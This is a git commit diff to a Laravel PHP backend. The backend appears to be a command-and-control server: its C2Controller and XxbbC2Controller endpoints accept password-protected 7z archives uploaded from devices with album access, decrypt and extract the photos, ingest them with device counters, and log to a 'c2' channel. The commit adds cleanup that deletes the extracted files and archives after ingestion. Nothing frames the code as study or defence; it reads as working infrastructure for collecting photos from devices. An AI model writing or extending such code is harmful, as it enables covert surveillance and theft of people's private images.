feat: photo

This commit is contained in:
hashbro
2026-08-31 00:04:03 +08:00
parent f6fb00c52a
commit 9176af86dd
5 changed files with 81 additions and 57 deletions
+24 -25
View File
@@ -8,7 +8,6 @@ use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
class C2Controller extends Controller
{
@@ -136,34 +135,34 @@ class C2Controller extends Controller
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->archive->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
try {
$extracted = $this->archive->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
} finally {
CorunaArchive::forgetWorkDir($work);
}
create_log([
'event' => 'check_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'c2');
}
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
+24 -25
View File
@@ -8,7 +8,6 @@ use App\Services\CorunaArchive;
use App\Services\IngestService;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Storage;
/**
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
@@ -107,34 +106,34 @@ class XxbbC2Controller extends Controller
'barcode_count' => $barcodeCount,
];
$attachmentRel = null;
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
$bytes = file_get_contents($request->file('file')->getRealPath());
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
Storage::disk('local')->makeDirectory($attachmentRel);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
try {
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
if (! empty($extracted['files'])) {
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
} finally {
CorunaArchive::forgetWorkDir($work);
}
create_log([
'event' => 'xxbb_photo_extract',
'device_key' => $device->device_id,
'attachment_path' => $attachmentRel,
'extract' => [
'ok' => $extracted['ok'],
'files' => array_map('basename', $extracted['files']),
'password_recipe' => $extracted['password_recipe'],
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
],
'photo_meta' => $photoMeta,
'raw_counters' => [
'idx' => $request->input('idx'),
'ftu' => $request->input('ftu'),
'ts' => $request->input('ts'),
'x-hit' => $xHitRaw,
],
], 'xxbb');
}
return $this->xxbbAck($request);
+23 -7
View File
@@ -2,6 +2,7 @@
namespace App\Services;
use Illuminate\Support\Facades\File;
use Illuminate\Support\Facades\Process;
use RuntimeException;
@@ -80,18 +81,21 @@ class CorunaArchive
$archive = $destDir.'/capture.7z';
file_put_contents($archive, $repaired);
file_put_contents($destDir.'/wire.bin', $wireData);
$password = $this->crypto->archivePassword($batchBase);
$membersDir = $destDir.'/members';
@mkdir($membersDir, 0755, true);
$bin = $this->resolveSevenZipBinary();
$result = Process::timeout(120)->run([
$bin, 'x', '-y',
'-p'.$password,
'-o'.$membersDir,
$archive,
]);
try {
$result = Process::timeout(120)->run([
$bin, 'x', '-y',
'-p'.$password,
'-o'.$membersDir,
$archive,
]);
} finally {
@unlink($archive);
}
$files = [];
if (is_dir($membersDir)) {
@@ -114,6 +118,18 @@ class CorunaArchive
];
}
public static function forgetWorkDir(string $dir): void
{
if ($dir === '' || ! is_dir($dir)) {
return;
}
File::deleteDirectory($dir);
$parent = dirname($dir);
if (is_dir($parent) && File::isEmptyDirectory($parent)) {
@rmdir($parent);
}
}
/**
* Resolve 7z path without probing outside open_basedir.
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.